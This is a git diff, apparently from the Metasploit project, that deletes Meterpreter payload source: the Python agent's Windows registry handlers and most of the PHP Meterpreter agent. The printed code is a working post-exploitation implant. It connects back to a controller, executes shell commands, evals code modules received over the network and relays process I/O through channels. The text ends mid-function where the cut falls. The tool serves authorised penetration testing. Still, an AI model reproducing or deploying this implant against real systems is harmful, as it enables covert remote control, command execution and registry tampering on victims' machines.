err != ERROR_SUCCESS: - return err, response - ret = _wreg_enum_key(request, response, hkey) - _wreg_close_key(hkey) - return ret - -def _wreg_enum_value(request, response, hkey): - ERROR_MORE_DATA = 0xea - ERROR_NO_MORE_ITEMS = 0x0103 - name = (ctypes.c_char * 4096)() - name_sz = ctypes.c_uint32() - index = 0 - tries = 0 - while True: - name_sz.value = ctypes.sizeof(name) - result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None) - if result == ERROR_MORE_DATA: - if tries > 3: - break - name = (ctypes.c_char * (ctypes.sizeof(name) * 3)) - tries += 1 - continue - elif result == ERROR_NO_MORE_ITEMS: - result = ERROR_SUCCESS - break - elif result != ERROR_SUCCESS: - break - tries = 0 - response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name)) - index += 1 - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_enum_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _wreg_enum_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_enum_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _wreg_enum_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -@meterpreter.register_function_windll -def stdapi_registry_load_key(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) - sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY) - file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH) - result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) - return result, response - -def _wreg_open_key(request): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] - base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) - permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) - handle_id = ctypes.c_void_p() - if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS: - return error_result_windows(), 0 - return ERROR_SUCCESS, handle_id.value - -@meterpreter.register_function_windll -def stdapi_registry_open_key(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - response += tlv_pack(TLV_TYPE_HKEY, hkey) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_registry_open_remote_key(request, response): - target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value'] - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - result_key = ctypes.c_void_p() - if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_HKEY, result_key.value) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_registry_query_class(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - value_data = (ctypes.c_char * 4096)() - value_data_sz = ctypes.c_uint32() - value_data_sz.value = ctypes.sizeof(value_data) - if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) - return ERROR_SUCCESS, response - -def _query_value(request, response, hkey): - value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] - value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) - value_type = ctypes.c_uint32() - value_type.value = 0 - value_data = (ctypes.c_ubyte * 4096)() - value_data_sz = ctypes.c_uint32() - value_data_sz.value = ctypes.sizeof(value_data) - result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) - if result == ERROR_SUCCESS: - response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) - if value_type.value == winreg.REG_SZ: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE) - elif value_type.value == winreg.REG_DWORD: - value = value_data[:4] - value.reverse() - if sys.version_info[0] < 3: - value = ''.join(map(chr, value)) - else: - value = bytes(value) - response += tlv_pack(TLV_TYPE_VALUE_DATA, value) - else: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value)) - return ERROR_SUCCESS, response - return error_result_windows(), response - -@meterpreter.register_function_windll -def stdapi_registry_query_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _query_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_query_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _query_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -def _set_value(request, response, hkey): - value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] - value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) - value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] - value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] - result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data)) - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_set_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _set_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_set_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _set_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -@meterpreter.register_function_windll -def stdapi_registry_unload_key(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] - result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key) - return result, response diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php deleted file mode 100755 index 156966fcf5..0000000000 --- a/data/meterpreter/meterpreter.php +++ /dev/null @@ -1,1210 +0,0 @@ -# $val) { - if (is_array($val)) { - # recurse - dump_array($val, "{$name}[{$key}]"); - } else { - my_print(sprintf(" $key ($val)")); - } - } -} -function dump_readers() { - global $readers; - dump_array($readers, 'Readers'); -} -function dump_resource_map() { - global $resource_type_map; - dump_array($resource_type_map, 'Resource map'); -} -function dump_channels($extra="") { - global $channels; - dump_array($channels, 'Channels '.$extra); -} - - -# Doesn't exist before php 4.3 -if (!function_exists("file_get_contents")) { -function file_get_contents($file) { - $f = @fopen($file,"rb"); - $contents = false; - if ($f) { - do { $contents .= fgets($f); } while (!feof($f)); - } - fclose($f); - return $contents; -} -} - -# Renamed in php 4.3 -if (!function_exists('socket_set_option')) { -function socket_set_option($sock, $type, $opt, $value) { - socket_setopt($sock, $type, $opt, $value); -} -} - - -# -# Constants -# -define("PACKET_TYPE_REQUEST",0); -define("PACKET_TYPE_RESPONSE",1); -define("PACKET_TYPE_PLAIN_REQUEST", 10); -define("PACKET_TYPE_PLAIN_RESPONSE", 11); - -define("ERROR_SUCCESS",0); -# not defined in original C implementation -define("ERROR_FAILURE",1); - -define("CHANNEL_CLASS_BUFFERED", 0); -define("CHANNEL_CLASS_STREAM", 1); -define("CHANNEL_CLASS_DATAGRAM", 2); -define("CHANNEL_CLASS_POOL", 3); - -# -# TLV Meta Types -# -define("TLV_META_TYPE_NONE", ( 0 )); -define("TLV_META_TYPE_STRING", (1 << 16)); -define("TLV_META_TYPE_UINT", (1 << 17)); -define("TLV_META_TYPE_RAW", (1 << 18)); -define("TLV_META_TYPE_BOOL", (1 << 19)); -define("TLV_META_TYPE_QWORD", (1 << 20)); -define("TLV_META_TYPE_COMPRESSED", (1 << 29)); -define("TLV_META_TYPE_GROUP", (1 << 30)); -define("TLV_META_TYPE_COMPLEX", (1 << 31)); -# not defined in original -define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)); - -# -# TLV base starting points -# -define("TLV_RESERVED", 0); -define("TLV_EXTENSIONS", 20000); -define("TLV_USER", 40000); -define("TLV_TEMP", 60000); - -# -# TLV Specific Types -# -define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0); -define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1); -define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2); -define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3); -define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4); - -define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10); -define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11); -define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12); - -define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25); -define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26); -define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27); - -define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50); -define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51); -define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52); -define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53); -define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54); - -define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70); -define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71); -define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72); - -define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300); -define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301); - -define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400); -define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); -define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402); -define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403); - -define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500); -define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501); - -function my_cmd($cmd) { - return shell_exec($cmd); -} - -function is_windows() { - return (strtoupper(substr(PHP_OS,0,3)) == "WIN"); -} - - - -## -# Worker functions -## - -function core_channel_open($req, &$pkt) { - $type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE); - - my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do"); - - # Doing it this way allows extensions to create new channel types without - # needing to modify the core code. - $handler = "channel_create_". $type_tlv['value']; - if ($type_tlv['value'] && is_callable($handler)) { - my_print("Calling {$handler}"); - $ret = $handler($req, $pkt); - } else { - my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =("); - $ret = ERROR_FAILURE; - } - - return $ret; -} - -# Works for streams -function core_channel_eof($req, &$pkt) { - my_print("doing channel eof"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $c = get_channel_by_id($chan_tlv['value']); - - if ($c) { - if (eof($c[1])) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1)); - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0)); - } - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} - -# Works -function core_channel_read($req, &$pkt) { - my_print("doing channel read"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); - $id = $chan_tlv['value']; - $len = $len_tlv['value']; - $data = channel_read($id, $len); - if ($data === false) { - $res = ERROR_FAILURE; - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); - $res = ERROR_SUCCESS; - } - return $res; -} - -# Works -function core_channel_write($req, &$pkt) { - #my_print("doing channel write"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA); - $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); - $id = $chan_tlv['value']; - $data = $data_tlv['value']; - $len = $len_tlv['value']; - - $wrote = channel_write($id, $data, $len); - if ($wrote === false) { - return ERROR_FAILURE; - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote)); - return ERROR_SUCCESS; - } -} - -# -# This is called when the client wants to close a channel explicitly. Not to be confused with -# -function core_channel_close($req, &$pkt) { - global $channel_process_map; - # XXX remove the closed channel from $readers - my_print("doing channel close"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $id = $chan_tlv['value']; - - $c = get_channel_by_id($id); - if ($c) { - # We found a channel, close its stdin/stdout/stderr - channel_close_handles($id); - - # This is an explicit close from the client, always remove it from the - # list, even if it has data. - channel_remove($id); - - # if the channel we're closing is associated with a process, kill the - # process - # Make sure the stdapi function for closing a process handle is - # available before trying to clean up - if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) { - close_process($channel_process_map[$id]); - } - return ERROR_SUCCESS; - } - dump_channels("after close"); - - return ERROR_FAILURE; -} - -# -# Destroy a channel and all associated handles. -# -function channel_close_handles($cid) { - global $channels; - - # Sanity check - make sure a channel with the given cid exists - if (!array_key_exists($cid, $channels)) { - return; - } - $c = $channels[$cid]; - for($i = 0; $i < 3; $i++) { - #my_print("closing channel fd $i, {$c[$i]}"); - if (array_key_exists($i, $c) && is_resource($c[$i])) { - close($c[$i]); - # Make sure the main loop doesn't select on this resource after we - # close it. - remove_reader($c[$i]); - } - } - - # axe it from the list only if it doesn't have any leftover data - if (strlen($c['data']) == 0) { - channel_remove($cid); - } -} - -function channel_remove($cid) { - global $channels; - unset($channels[$cid]); -} - -function core_channel_interact($req, &$pkt) { - global $readers; - - my_print("doing channel interact"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $id = $chan_tlv['value']; - - # True means start interacting, False means stop - $toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL); - - $c = get_channel_by_id($id); - if ($c) { - if ($toggle_tlv['value']) { - # Start interacting. If we're already interacting with this - # channel, it's an error and we should return failure. - if (!in_array($c[1], $readers)) { - # stdout - add_reader($c[1]); - # Make sure we don't add the same resource twice in the case - # that stdin == stderr - if (array_key_exists(2, $c) && $c[1] != $c[2]) { - # stderr - add_reader($c[2]); - } - $ret = ERROR_SUCCESS; - } else { - # Already interacting - $ret = ERROR_FAILURE; - } - } else { - # Stop interacting. If we're not interacting yet with this - # channel, it's an error and we should return failure. - if (in_array($c[1], $readers)) { - remove_reader($c[1]); # stdout - remove_reader($c[2]); # stderr - $ret = ERROR_SUCCESS; - } else { - # Not interacting. This is technically failure, but it seems - # the client sends us two of these requests in quick succession - # causing the second one to always return failure. When that - # happens we fail to clean up properly, so always return - # success here. - $ret = ERROR_SUCCESS; - } - } - } else { - # Not a valid channel - my_print("Trying to interact with an invalid channel"); - $ret = ERROR_FAILURE; - } - return $ret; -} - -function interacting($cid) { - global $readers; - $c = get_channel_by_id($cid); - if (in_array($c[1], $readers)) { - return true; - } - return false; -} - - -function core_shutdown($req, &$pkt) { - my_print("doing core shutdown"); - die(); -} - -# zlib support is not compiled in by default, so this makes sure the library -# isn't compressed before eval'ing it -# TODO: check for zlib support and decompress if possible -function core_loadlib($req, &$pkt) { - global $commands; - my_print("doing core_loadlib"); - $data_tlv = packet_get_tlv($req, TLV_TYPE_DATA); - if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) { - return ERROR_FAILURE; - } - $tmp = $commands; - eval($data_tlv['value']); - $new = array_diff($commands, $tmp); - foreach ($new as $meth) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth)); - } - - return ERROR_SUCCESS; -} - - - - - - -## -# Channel Helper Functions -## -$channels = array(); - -function register_channel($in, $out=null, $err=null) { - global $channels; - if ($out == null) { $out = $in; } - if ($err == null) { $err = $out; } - $channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => ''); - - # Grab the last index and use it as the new ID. - $id = end(array_keys($channels)); - my_print("Created new channel $in, with id $id"); - return $id; -} - -# -# Channels look like this: -# -# Array -# ( -# [0] => Array -# ( -# [0] => Resource id #12 -# [1] => Resource id #13 -# [2] => Resource id #14 -# [type] => 'stream' -# [data] => '...' -# ) -# ) -# -function get_channel_id_from_resource($resource) { - global $channels; - if (empty($channels)) { - return false; - } - foreach ($channels as $i => $chan_ary) { - if (in_array($resource, $chan_ary)) { - my_print("Found channel id $i"); - return $i; - } - } - return false; -} - -function get_channel_by_id($chan_id) { - global $channels; - my_print("Looking up channel id $chan_id"); - #dump_channels("in get_channel_by_id"); - if (array_key_exists($chan_id, $channels)) { - my_print("Found one"); - return $channels[$chan_id]; - } else { - return false; - } -} - -# Write data to the channel's stdin -function channel_write($chan_id, $data) { - $c = get_channel_by_id($chan_id); - if ($c && is_resource($c[0])) { - my_print("---Writing '$data' to channel $chan_id"); - return write($c[0], $data); - } else { - return false; - } -} - -# Read from the channel's stdout -function channel_read($chan_id, $len) { - $c = get_channel_by_id($chan_id); - if ($c) { - # First get any pending unread data from a previous read - $ret = substr($c['data'], 0, $len); - $c['data'] = substr($c['data'], $len); - if (strlen($ret) > 0) { my_print("Had some leftovers: '$ret'"); } - - # Next grab stderr if we have it and it's not the same file descriptor - # as stdout. - if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) { - # Read as much as possible into the channel's data buffer - $read = read($c[2]); - $c['data'] .= $read; - - # Now slice out however much the client asked for. If there's any - # left over, they'll get it next time. If it doesn't add up to - # what they requested, oh well, they'll just have to call read - # again. Looping until we get the requested number of bytes is - # inconsistent with win32 meterpreter and causes the whole php - # process to block waiting on input. - $bytes_needed = $len - strlen($ret); - $ret .= substr($c['data'], 0, $bytes_needed); - $c['data'] = substr($c['data'], $bytes_needed); - } - - # Then if there's still room, grab stdout - if (strlen($ret) < $len and is_resource($c[1])) { - # Same as above, but for stdout. This will overwrite a false - # return value from reading stderr but the two should generally - # EOF at the same time, so it should be fine. - $read = read($c[1]); - $c['data'] .= $read; - $bytes_needed = $len - strlen($ret); - $ret .= substr($c['data'], 0, $bytes_needed); - $c['data'] = substr($c['data'], $bytes_needed); - } - - # In the event of one or the other of the above read()s returning - # false, make sure we have sent any pending unread data before saying - # EOF by returning false. Note that if they didn't return false, it is - # perfectly legitimate to return an empty string which just means - # there's no data right now but we haven't hit EOF yet. - if (false === $read and empty($ret)) { - if (interacting($chan_id)) { - handle_dead_resource_channel($c[1]); - } - return false; - } - return $ret; - } else { - return false; - } -} - - - - -## -# TLV Helper Functions -## - -function generate_req_id() { - $characters = 'abcdefghijklmnopqrstuvwxyz'; - $rid = ''; - - for ($p = 0; $p < 32; $p++) { - $rid .= $characters[rand(0, strlen($characters)-1)]; - } - - return $rid; -} - -function handle_dead_resource_channel($resource) { - global $msgsock; - - if (!is_resource($resource)) { - return; - } - - $cid = get_channel_id_from_resource($resource); - if ($cid === false) { - my_print("Resource has no channel: {$resource}"); - - # Make sure the provided resource gets closed regardless of it's status - # as a channel - remove_reader($resource); - close($resource); - } else { - my_print("Handling dead resource: {$resource}, for channel: {$cid}"); - - # Make sure we close other handles associated with this channel as well - channel_close_handles($cid); - - # Notify the client that this channel is dead - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close')); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - write($msgsock, $pkt); - } - - return; -} - -function handle_resource_read_channel($resource, $data) { - global $udp_host_map; - $cid = get_channel_id_from_resource($resource); - my_print("Handling data from $resource"); - - # Build a new Packet - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write')); - if (array_key_exists((int)$resource, $udp_host_map)) { - list($h,$p) = $udp_host_map[(int)$resource]; - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p)); - } - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - return $pkt; -} - -function create_response($req) { - $pkt = pack("N", PACKET_TYPE_RESPONSE); - - $method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD); - my_print("method is {$method_tlv['value']}"); - packet_add_tlv($pkt, $method_tlv); - - $reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID); - packet_add_tlv($pkt, $reqid_tlv); - - if (is_callable($method_tlv['value'])) { - $result = $method_tlv['value']($req, $pkt); - } else { - my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure"); - $result = ERROR_FAILURE; - } - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result)); - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - return $pkt; -} - -function create_tlv($type, $val) { - return array( 'type' => $type, 'value' => $val ); -} - -function tlv_pack($tlv) { - $ret = ""; - #my_print("Creating a tlv of type: {$tlv['type']}"); - if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { - $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); - } - elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { - $hi = ($tlv['value'] >> 32) & 0xFFFFFFFF; - $lo = $tlv['value'] & 0xFFFFFFFF; - $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); - } - elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { - $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); - } - elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { - # PHP's pack appears to be busted for chars, - $ret = pack("NN", 8 + 1, $tlv['type']); - $ret .= $tlv['value'] ? "\x01" : "\x00"; - } - elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { - # treat groups the same as raw - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) { - # treat complex the same as raw - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - else { - my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf"); - } - return $ret; -} - -function tlv_unpack($raw_tlv) { - $tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8)); - $type = $tlv['type']; - my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { - $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); - # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing - # NULL, so catch that here - $tlv['value'] = str_replace("\0", "", $tlv['value']); - } - elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { - $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { - $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); - $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; - } - elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { - $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { - $tlv = unpack("Nlen/Ntype", $raw_tlv); - $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); - } - else { - my_print("Wtf type is this? $type"); - $tlv = null; - } - return $tlv; -} - -function packet_add_tlv(&$pkt, $tlv) { - $pkt .= tlv_pack($tlv); -} - -function packet_get_tlv($pkt, $type) { - #my_print("Looking for a tlv of type $type"); - # Start at offset 8 to skip past the packet header - $offset = 8; - while ($offset < strlen($pkt)) { - $tlv = tlv_unpack(substr($pkt, $offset)); - #my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { - #my_print("Found one at offset $offset"); - return $tlv; - } - $offset += $tlv['len']; - } - #my_print("Didn't find one, wtf"); - return false; -} - - -function packet_get_all_tlvs($pkt, $type) { - my_print("Looking for all tlvs of type $type"); - # Start at offset 8 to skip past the packet header - $offset = 8; - $all = array(); - while ($offset < strlen($pkt)) { - $tlv = tlv_unpack(substr($pkt, $offset)); - if ($tlv == NULL) { - break; - } - my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { - my_print("Found one at offset $offset"); - array_push($all, $tlv); - } - $offset += $tlv['len']; - } - return $all; -} - - -## -# Functions for genericizing the stream/socket conundrum -## - - -function register_socket($sock, $ipaddr=null, $port=null) { - global $resource_type_map, $udp_host_map; - my_print("Registering socket $sock for ($ipaddr:$port)"); - $resource_type_map[(int)$sock] = 'socket'; - if ($ipaddr) { - $udp_host_map[(int)$sock] = array($ipaddr, $port); - #dump_array($udp_host_map, "UDP Map after registering a new socket"); - } -} - -# The stream functions cannot be unconnected, so don't require a host map -function register_stream($stream, $ipaddr=null, $port=null) { - global $resource_type_map, $udp_host_map; - my_print("Registering stream $stream for ($ipaddr:$port)"); - $resource_type_map[(int)$stream] = 'stream'; - if ($ipaddr) { - $udp_host_map[(int)$stream] = array($ipaddr, $port); - #dump_array($udp_host_map, "UDP Map after registering a new stream"); - } -} - -function connect($ipaddr, $port, $proto='tcp') { - my_print("Doing connect($ipaddr, $port)"); - $sock = false; - - # IPv6 requires brackets around the address in some cases, but not all. - # Keep track of the un-bracketed address for the functions that don't like - # brackets, specifically socket_connect and socket_sendto. - $ipf = AF_INET; - $raw_ip = $ipaddr; - if (FALSE !== strpos($ipaddr, ":")) { - $ipf = AF_INET6; - $ipaddr = "[". $raw_ip ."]"; - } - - # Prefer the stream versions so we don't have to use both select functions - # unnecessarily, but fall back to socket_create if they aren't available. - if (is_callable('stream_socket_client')) { - my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})"); - $sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}"); - my_print("Got a sock: $sock"); - if (!$sock) { return false; } - if ($proto == 'tcp') { - register_stream($sock); - } elseif ($proto == 'udp') { - register_stream($sock, $ipaddr, $port); - } else { - my_print("WTF proto is this: '$proto'"); - } - } else - if (is_callable('fsockopen')) { - my_print("fsockopen"); - if ($proto == 'tcp') { - $sock = fsockopen($ipaddr,$port); - if (!$sock) { return false; } - if (is_callable('socket_set_timeout')) { - socket_set_timeout($sock, 2); - } - register_stream($sock); - } else { - $sock = fsockopen($proto."://".$ipaddr,$port); - if (!$sock) { return false; } - register_stream($sock, $ipaddr, $port); - } - } else - if (is_callable('socket_create')) { - my_print("socket_create"); - if ($proto == 'tcp') { - $sock = socket_create($ipf, SOCK_STREAM, SOL_TCP); - $res = socket_connect($sock, $raw_ip, $port); - if (!$res) { return false; } - register_socket($sock); - } elseif ($proto == 'udp') { - $sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP); - register_socket($sock, $raw_ip, $port); - } - } - - return $sock; -} - -function eof($resource) { - $ret = false; - switch (get_rtype($resource)) { - # XXX Doesn't work with sockets. - case 'socket': break; - case 'stream': - # We set the socket timeout for streams opened with fsockopen() when - # they are created. I hope this is enough to deal with hangs when - # calling feof() on socket streams, but who knows. This is PHP, - # anything could happen. Some day they'll probably add a new function - # called stream_eof() and it will handle sockets properly except for - # some edge case that happens for every socket except the one or two - # they tested it on and it will always return false on windows and - # later they'll rename it to real_stream_eof_this_language_isretarded(). - # - # See http://us2.php.net/manual/en/function.feof.php , specifically this: - # If a connection opened by fsockopen() wasn't closed by the server, - # feof() will hang. To workaround this, see below example: - # 0) { - $buff .= fread($resource, $md['unread_bytes']); - break; - } else { - #$len = 1; - $tmp = fread($resource, $len); - $buff .= $tmp; - if (strlen($tmp) < $len) { - break; - } - } - - if ($resource != $msgsock) { my_print("buff: '$buff'"); } - $r = Array($resource); - } - my_print(sprintf("Done with the big read loop on $resource, got %d bytes", 